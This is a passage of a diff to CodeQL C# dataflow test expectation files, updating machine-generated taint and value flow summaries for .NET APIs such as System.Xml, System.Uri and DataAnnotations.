System.Xml;XmlNode;CloneNode;(System.Boolean);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;CreateNavigator;();Argument[this];ReturnValue;taint;df-generated | +| System.Xml;XmlNode;CreateNavigator;();Argument[this];ReturnValue;value;df-generated | | System.Xml;XmlNode;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Xml;XmlNode;GetNamespaceOfPrefix;(System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;GetPrefixOfNamespace;(System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[1].Element;taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | @@ -20962,20 +21205,21 @@ summary | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[1].Element;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[1].Element;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | -| System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;RemoveChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;dfc-generated | | System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[this];taint;df-generated | -| System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1];ReturnValue;value;df-generated | | System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;SelectNodes;(System.String);Argument[this];ReturnValue;taint;manual | | System.Xml;XmlNode;SelectNodes;(System.String,System.Xml.XmlNamespaceManager);Argument[this];ReturnValue;taint;manual | @@ -21155,17 +21399,17 @@ summary | System.Xml;XmlReaderSettings;add_ValidationEventHandler;(System.Xml.Schema.ValidationEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Xml;XmlReaderSettings;remove_ValidationEventHandler;(System.Xml.Schema.ValidationEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Xml;XmlReaderSettings;set_XmlResolver;(System.Xml.XmlResolver);Argument[0];Argument[this];taint;df-generated | -| System.Xml;XmlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | +| System.Xml;XmlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;dfc-generated | | System.Xml;XmlResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlResolver;ResolveUri;(System.Uri,System.String);Argument[0];ReturnValue;value;dfc-generated | | System.Xml;XmlResolver;ResolveUri;(System.Uri,System.String);Argument[1];ReturnValue;taint;dfc-generated | | System.Xml;XmlResolver;set_Credentials;(System.Net.ICredentials);Argument[0];Argument[this];taint;df-generated | -| System.Xml;XmlSecureResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;df-generated | | System.Xml;XmlSecureResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;dfc-generated | -| System.Xml;XmlSecureResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlSecureResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;dfc-generated | | System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;df-generated | | System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;dfc-generated | +| System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;df-generated | +| System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;dfc-generated | | System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;dfc-generated | | System.Xml;XmlSecureResolver;ResolveUri;(System.Uri,System.String);Argument[0];ReturnValue;value;dfc-generated | @@ -21294,9 +21538,7 @@ summary | System.Xml;XmlTextWriter;XmlTextWriter;(System.IO.TextWriter);Argument[0];Argument[this];taint;df-generated | | System.Xml;XmlTextWriter;get_BaseStream;();Argument[this].SyntheticField[System.Xml.XmlTextWriter._textWriter].Property[System.IO.StreamWriter.BaseStream];ReturnValue;value;dfc-generated | | System.Xml;XmlTextWriter;get_XmlLang;();Argument[this];ReturnValue;taint;df-generated | -| System.Xml;XmlUrlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;df-generated | | System.Xml;XmlUrlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;dfc-generated | -| System.Xml;XmlUrlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlUrlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;dfc-generated | | System.Xml;XmlUrlResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlUrlResolver;ResolveUri;(System.Uri,System.String);Argument[0];ReturnValue;value;dfc-generated | @@ -21357,8 +21599,8 @@ summary | System.Xml;XmlWriter;Create;(System.Text.StringBuilder);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlWriter;Create;(System.Text.StringBuilder,System.Xml.XmlWriterSettings);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlWriter;Create;(System.Text.StringBuilder,System.Xml.XmlWriterSettings);Argument[1];ReturnValue;taint;df-generated | -| System.Xml;XmlWriter;Create;(System.Xml.XmlWriter);Argument[0];ReturnValue;taint;df-generated | -| System.Xml;XmlWriter;Create;(System.Xml.XmlWriter,System.Xml.XmlWriterSettings);Argument[0];ReturnValue;taint;df-generated | +| System.Xml;XmlWriter;Create;(System.Xml.XmlWriter);Argument[0];ReturnValue;value;df-generated | +| System.Xml;XmlWriter;Create;(System.Xml.XmlWriter,System.Xml.XmlWriterSettings);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlWriter;Create;(System.Xml.XmlWriter,System.Xml.XmlWriterSettings);Argument[1];ReturnValue;taint;df-generated | | System.Xml;XmlWriter;DisposeAsync;();Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlWriter;LookupPrefix;(System.String);Argument[this];ReturnValue;taint;df-generated | @@ -21447,7 +21689,7 @@ summary | System;Action;BeginInvoke;(T,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System;AggregateException;AggregateException;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[0].SyntheticField[System.Runtime.Serialization.SerializationInfo._values].Element;Argument[this].SyntheticField[System.AggregateException._innerExceptions];value;dfc-generated | | System;AggregateException;AggregateException;(System.String,System.Exception);Argument[1];Argument[this].SyntheticField[System.AggregateException._innerExceptions].Element;value;dfc-generated | -| System;AggregateException;GetBaseException;();Argument[this];ReturnValue;taint;df-generated | +| System;AggregateException;GetBaseException;();Argument[this];ReturnValue;value;df-generated | | System;AggregateException;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | | System;AggregateException;Handle;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | | System;AggregateException;Handle;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -21587,6 +21829,7 @@ summary | System;ArraySegment;get_Item;(System.Int32);Argument[this].Element;ReturnValue;value;manual | | System;ArraySegment;get_Item;(System.Int32);Argument[this].SyntheticField[System.ArraySegment`1._array].Element;ReturnValue;value;dfc-generated | | System;ArraySegment;set_Item;(System.Int32,T);Argument[1];Argument[this].Element;value;manual | +| System;ArraySegment;set_Item;(System.Int32,T);Argument[1];Argument[this].SyntheticField[System.ArraySegment`1._array].Element;value;dfc-generated | | System;AssemblyLoadEventHandler;BeginInvoke;(System.Object,System.AssemblyLoadEventArgs,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System;AsyncCallback;BeginInvoke;(System.IAsyncResult,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System;Attribute;get_TypeId;();Argument[this];ReturnValue;taint;df-generated | @@ -22067,7 +22310,7 @@ summary | System;Exception;Exception;(System.String);Argument[0];Argument[this].SyntheticField[System.Exception._message];value;dfc-generated | | System;Exception;Exception;(System.String,System.Exception);Argument[0];Argument[this].SyntheticField[System.Exception._message];value;dfc-generated | | System;Exception;Exception;(System.String,System.Exception);Argument[1];Argument[this].SyntheticField[System.Exception._innerException];value;dfc-generated | -| System;Exception;GetBaseException;();Argument[this];ReturnValue;taint;df-generated | +| System;Exception;GetBaseException;();Argument[this];ReturnValue;value;df-generated | | System;Exception;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | | System;Exception;ToString;();Argument[this];ReturnValue;taint;df-generated | | System;Exception;add_SerializeObjectState;(System.EventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -23303,9 +23546,8 @@ summary | System;Uri;GetLeftPart;(System.UriPartial);Argument[this];ReturnValue;taint;df-generated | | System;Uri;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | | System;Uri;MakeRelative;(System.Uri);Argument[0];ReturnValue;taint;df-generated | -| System;Uri;MakeRelativeUri;(System.Uri);Argument[0];ReturnValue;taint;df-generated | +| System;Uri;MakeRelativeUri;(System.Uri);Argument[0];ReturnValue;value;df-generated | | System;Uri;ToString;();Argument[this];ReturnValue;taint;manual | -| System;Uri;ToString;(System.String,System.IFormatProvider);Argument[this].SyntheticField[System.Uri._string];ReturnValue;value;dfc-generated | | System;Uri;ToString;(System.String,System.IFormatProvider);Argument[this];ReturnValue;taint;dfc-generated | | System;Uri;TryCreate;(System.String,System.UriCreationOptions,System.Uri);Argument[0];Argument[2];taint;manual | | System;Uri;TryCreate;(System.String,System.UriKind,System.Uri);Argument[0];Argument[2];taint;manual | @@ -23392,9 +23634,14 @@ summary | System;UriTypeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System;UriTypeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System;UriTypeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Property[System.Uri.OriginalString];ReturnValue;value;df-generated | | System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Property[System.Uri.OriginalString];ReturnValue;value;dfc-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System;ValueTuple;Create;(T1,T2,T3,T4,T5,T6,T7,T8);Argument[0];ReturnValue.Field[System.ValueTuple`8.Item1];value;manual | | System;ValueTuple;Create;(T1,T2,T3,T4,T5,T6,T7,T8);Argument[1];ReturnValue.Field[System.ValueTuple`8.Item2];value;manual | | System;ValueTuple;Create;(T1,T2,T3,T4,T5,T6,T7,T8);Argument[2];ReturnValue.Field[System.ValueTuple`8.Item3];value;manual | @@ -23678,7 +23925,6 @@ neutral | Microsoft.AspNetCore.Mvc.ViewFeatures;ViewDataDictionary;get_Count;();summary;df-generated | | Microsoft.AspNetCore.Mvc.ViewFeatures;ViewDataDictionary;get_IsReadOnly;();summary;df-generated | | Microsoft.AspNetCore.Mvc;Controller;Dispose;();summary;df-generated | -| Microsoft.AspNetCore.Mvc;RemoteAttributeBase;IsValid;(System.Object);summary;df-generated | | Microsoft.AspNetCore.Razor.TagHelpers;NullHtmlEncoder;FindFirstCharacterToEncode;(System.Char*,System.Int32);summary;df-generated | | Microsoft.AspNetCore.Razor.TagHelpers;NullHtmlEncoder;TryEncodeUnicodeScalar;(System.Int32,System.Char*,System.Int32,System.Int32);summary;df-generated | | Microsoft.AspNetCore.Razor.TagHelpers;NullHtmlEncoder;WillEncode;(System.Int32);summary;df-generated | @@ -27596,26 +27842,19 @@ neutral | System.ComponentModel.DataAnnotations.Schema;IndexAttribute;GetHashCode;();summary;df-generated | | System.ComponentModel.DataAnnotations.Schema;InversePropertyAttribute;get_Property;();summary;df-generated | | System.ComponentModel.DataAnnotations.Schema;TableAttribute;get_Name;();summary;df-generated | -| System.ComponentModel.DataAnnotations;AllowedValuesAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;AllowedValuesAttribute;get_Values;();summary;df-generated | | System.ComponentModel.DataAnnotations;AssociatedMetadataTypeTypeDescriptionProvider;AssociatedMetadataTypeTypeDescriptionProvider;(System.Type);summary;df-generated | | System.ComponentModel.DataAnnotations;AssociatedMetadataTypeTypeDescriptionProvider;AssociatedMetadataTypeTypeDescriptionProvider;(System.Type,System.Type);summary;df-generated | | System.ComponentModel.DataAnnotations;AssociationAttribute;get_Name;();summary;df-generated | | System.ComponentModel.DataAnnotations;AssociationAttribute;get_OtherKey;();summary;df-generated | | System.ComponentModel.DataAnnotations;AssociationAttribute;get_ThisKey;();summary;df-generated | -| System.ComponentModel.DataAnnotations;Base64StringAttribute;IsValid;(System.Object);summary;df-generated | -| System.ComponentModel.DataAnnotations;CompareAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);summary;df-generated | | System.ComponentModel.DataAnnotations;CompareAttribute;get_OtherProperty;();summary;df-generated | | System.ComponentModel.DataAnnotations;CompareAttribute;get_RequiresValidationContext;();summary;df-generated | -| System.ComponentModel.DataAnnotations;CreditCardAttribute;IsValid;(System.Object);summary;df-generated | -| System.ComponentModel.DataAnnotations;CustomValidationAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);summary;df-generated | | System.ComponentModel.DataAnnotations;CustomValidationAttribute;get_Method;();summary;df-generated | | System.ComponentModel.DataAnnotations;CustomValidationAttribute;get_ValidatorType;();summary;df-generated | | System.ComponentModel.DataAnnotations;DataTypeAttribute;DataTypeAttribute;(System.ComponentModel.DataAnnotations.DataType);summary;df-generated | -| System.ComponentModel.DataAnnotations;DataTypeAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;DataTypeAttribute;get_CustomDataType;();summary;df-generated | | System.ComponentModel.DataAnnotations;DataTypeAttribute;get_DataType;();summary;df-generated | -| System.ComponentModel.DataAnnotations;DeniedValuesAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;DeniedValuesAttribute;get_Values;();summary;df-generated | | System.ComponentModel.DataAnnotations;DisplayColumnAttribute;DisplayColumnAttribute;(System.String);summary;df-generated | | System.ComponentModel.DataAnnotations;DisplayColumnAttribute;DisplayColumnAttribute;(System.String,System.String);summary;df-generated | @@ -27624,52 +27863,35 @@ neutral | System.ComponentModel.DataAnnotations;DisplayColumnAttribute;get_SortDescending;();summary;df-generated | | System.ComponentModel.DataAnnotations;EditableAttribute;EditableAttribute;(System.Boolean);summary;df-generated | | System.ComponentModel.DataAnnotations;EditableAttribute;get_AllowEdit;();summary;df-generated | -| System.ComponentModel.DataAnnotations;EmailAddressAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;EnumDataTypeAttribute;EnumDataTypeAttribute;(System.Type);summary;df-generated | -| System.ComponentModel.DataAnnotations;EnumDataTypeAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;EnumDataTypeAttribute;get_EnumType;();summary;df-generated | -| System.ComponentModel.DataAnnotations;FileExtensionsAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;FilterUIHintAttribute;Equals;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;FilterUIHintAttribute;FilterUIHintAttribute;(System.String);summary;df-generated | | System.ComponentModel.DataAnnotations;FilterUIHintAttribute;FilterUIHintAttribute;(System.String,System.String);summary;df-generated | | System.ComponentModel.DataAnnotations;FilterUIHintAttribute;GetHashCode;();summary;df-generated | | System.ComponentModel.DataAnnotations;IValidatableObject;Validate;(System.ComponentModel.DataAnnotations.ValidationContext);summary;df-generated | -| System.ComponentModel.DataAnnotations;LengthAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;LengthAttribute;LengthAttribute;(System.Int32,System.Int32);summary;df-generated | | System.ComponentModel.DataAnnotations;LengthAttribute;get_MaximumLength;();summary;df-generated | | System.ComponentModel.DataAnnotations;LengthAttribute;get_MinimumLength;();summary;df-generated | -| System.ComponentModel.DataAnnotations;MaxLengthAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;MaxLengthAttribute;MaxLengthAttribute;(System.Int32);summary;df-generated | | System.ComponentModel.DataAnnotations;MaxLengthAttribute;get_Length;();summary;df-generated | | System.ComponentModel.DataAnnotations;MetadataTypeAttribute;MetadataTypeAttribute;(System.Type);summary;df-generated | | System.ComponentModel.DataAnnotations;MetadataTypeAttribute;get_MetadataClassType;();summary;df-generated | -| System.ComponentModel.DataAnnotations;MinLengthAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;MinLengthAttribute;MinLengthAttribute;(System.Int32);summary;df-generated | | System.ComponentModel.DataAnnotations;MinLengthAttribute;get_Length;();summary;df-generated | -| System.ComponentModel.DataAnnotations;PhoneAttribute;IsValid;(System.Object);summary;df-generated | -| System.ComponentModel.DataAnnotations;RangeAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;RangeAttribute;RangeAttribute;(System.Double,System.Double);summary;df-generated | | System.ComponentModel.DataAnnotations;RangeAttribute;RangeAttribute;(System.Int32,System.Int32);summary;df-generated | | System.ComponentModel.DataAnnotations;RangeAttribute;get_OperandType;();summary;df-generated | -| System.ComponentModel.DataAnnotations;RegularExpressionAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;RegularExpressionAttribute;get_MatchTimeout;();summary;df-generated | | System.ComponentModel.DataAnnotations;RegularExpressionAttribute;get_Pattern;();summary;df-generated | -| System.ComponentModel.DataAnnotations;RequiredAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;ScaffoldColumnAttribute;ScaffoldColumnAttribute;(System.Boolean);summary;df-generated | | System.ComponentModel.DataAnnotations;ScaffoldColumnAttribute;get_Scaffold;();summary;df-generated | -| System.ComponentModel.DataAnnotations;StringLengthAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;StringLengthAttribute;StringLengthAttribute;(System.Int32);summary;df-generated | | System.ComponentModel.DataAnnotations;StringLengthAttribute;get_MaximumLength;();summary;df-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;Equals;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;GetHashCode;();summary;df-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;UIHintAttribute;(System.String);summary;df-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;UIHintAttribute;(System.String,System.String);summary;df-generated | -| System.ComponentModel.DataAnnotations;UrlAttribute;IsValid;(System.Object);summary;df-generated | -| System.ComponentModel.DataAnnotations;ValidationAttribute;GetValidationResult;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);summary;df-generated | -| System.ComponentModel.DataAnnotations;ValidationAttribute;IsValid;(System.Object);summary;df-generated | -| System.ComponentModel.DataAnnotations;ValidationAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);summary;df-generated | -| System.ComponentModel.DataAnnotations;ValidationAttribute;Validate;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);summary;df-generated | -| System.ComponentModel.DataAnnotations;ValidationAttribute;Validate;(System.Object,System.String);summary;df-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;ValidationAttribute;(System.String);summary;df-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;get_RequiresValidationContext;();summary;df-generated | | System.ComponentModel.DataAnnotations;ValidationContext;ValidationContext;(System.Object);summary;df-generated | @@ -36096,7 +36318,6 @@ neutral | System.Net;HttpListenerRequest;get_RequestTraceIdentifier;();summary;df-generated | | System.Net;HttpListenerRequest;get_ServiceName;();summary;df-generated | | System.Net;HttpListenerRequest;get_TransportContext;();summary;df-generated | -| System.Net;HttpListenerRequest;get_UrlReferrer;();summary;df-generated | | System.Net;HttpListenerRequest;get_UserHostAddress;();summary;df-generated | | System.Net;HttpListenerRequest;get_UserLanguages;();summary;df-generated | | System.Net;HttpListenerResponse;Abort;();summary;df-generated | @@ -55640,7 +55861,6 @@ neutral | System.Xml.Linq;XCData;XCData;(System.Xml.Linq.XCData);summary;df-generated | | System.Xml.Linq;XCData;get_NodeType;();summary;df-generated | | System.Xml.Linq;XComment;get_NodeType;();summary;df-generated | -| System.Xml.Linq;XContainer;AddFirst;(System.Object[]);summary;df-generated | | System.Xml.Linq;XContainer;CreateWriter;();summary;df-generated | | System.Xml.Linq;XContainer;RemoveNodes;();summary;df-generated | | System.Xml.Linq;XDocument;LoadAsync;(System.IO.Stream,System.Xml.Linq.LoadOptions,System.Threading.CancellationToken);summary;df-generated | @@ -55696,8 +55916,6 @@ neutral | System.Xml.Linq;XNamespace;get_Xmlns;();summary;df-generated | | System.Xml.Linq;XNamespace;op_Equality;(System.Xml.Linq.XNamespace,System.Xml.Linq.XNamespace);summary;df-generated | | System.Xml.Linq;XNamespace;op_Inequality;(System.Xml.Linq.XNamespace,System.Xml.Linq.XNamespace);summary;df-generated | -| System.Xml.Linq;XNode;AddAfterSelf;(System.Object[]);summary;df-generated | -| System.Xml.Linq;XNode;AddBeforeSelf;(System.Object[]);summary;df-generated | | System.Xml.Linq;XNode;CompareDocumentOrder;(System.Xml.Linq.XNode,System.Xml.Linq.XNode);summary;df-generated | | System.Xml.Linq;XNode;CreateReader;();summary;df-generated | | System.Xml.Linq;XNode;DeepEquals;(System.Xml.Linq.XNode,System.Xml.Linq.XNode);summary;df-generated | @@ -55707,7 +55925,6 @@ neutral | System.Xml.Linq;XNode;IsBefore;(System.Xml.Linq.XNode);summary;df-generated | | System.Xml.Linq;XNode;NodesBeforeSelf;();summary;df-generated | | System.Xml.Linq;XNode;Remove;();summary;df-generated | -| System.Xml.Linq;XNode;ReplaceWith;(System.Object[]);summary;df-generated | | System.Xml.Linq;XNode;ToString;();summary;df-generated | | System.Xml.Linq;XNode;ToString;(System.Xml.Linq.SaveOptions);summary;df-generated | | System.Xml.Linq;XNode;get_DocumentOrderComparer;();summary;df-generated | @@ -57014,7 +57231,6 @@ neutral | System;ArraySegment;get_Offset;();summary;df-generated | | System;ArraySegment;op_Equality;(System.ArraySegment,System.ArraySegment);summary;df-generated | | System;ArraySegment;op_Inequality;(System.ArraySegment,System.ArraySegment);summary;df-generated | -| System;ArraySegment;set_Item;(System.Int32,T);summary;df-generated | | System;ArrayTypeMismatchException;ArrayTypeMismatchException;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);summary;df-generated | | System;ArrayTypeMismatchException;ArrayTypeMismatchException;(System.String);summary;df-generated | | System;ArrayTypeMismatchException;ArrayTypeMismatchException;(System.String,System.Exception);summary;df-generated | @@ -61345,7 +61561,6 @@ neutral | System;Uri;TryFormat;(System.Span,System.Int32,System.ReadOnlySpan,System.IFormatProvider);summary;df-generated | | System;Uri;Unescape;(System.String);summary;df-generated | | System;Uri;Uri;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);summary;df-generated | -| System;Uri;get_AbsoluteUri;();summary;df-generated | | System;Uri;get_Fragment;();summary;df-generated | | System;Uri;get_HostNameType;();summary;df-generated | | System;Uri;get_IsAbsoluteUri;();summary;df-generated | diff --git a/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected b/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected index 08b3588b4949..8c0a26ee4039 100644 --- a/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected +++ b/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected @@ -789,9 +789,9 @@ | Microsoft.Extensions.Configuration;CommandLineConfigurationExtensions;AddCommandLine;(Microsoft.Extensions.Configuration.IConfigurationBuilder,System.String[],System.Collections.Generic.IDictionary);Argument[2];Argument[0];taint;manual | | Microsoft.Extensions.Configuration;CommandLineConfigurationExtensions;AddCommandLine;(Microsoft.Extensions.Configuration.IConfigurationBuilder,System.String[],System.Collections.Generic.IDictionary);Argument[2];ReturnValue;taint;manual | | Microsoft.Extensions.Configuration;ConfigurationBinder;Bind;(Microsoft.Extensions.Configuration.IConfiguration,System.Object,System.Action);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | -| Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration,System.Type);Argument[0];ReturnValue;taint;df-generated | +| 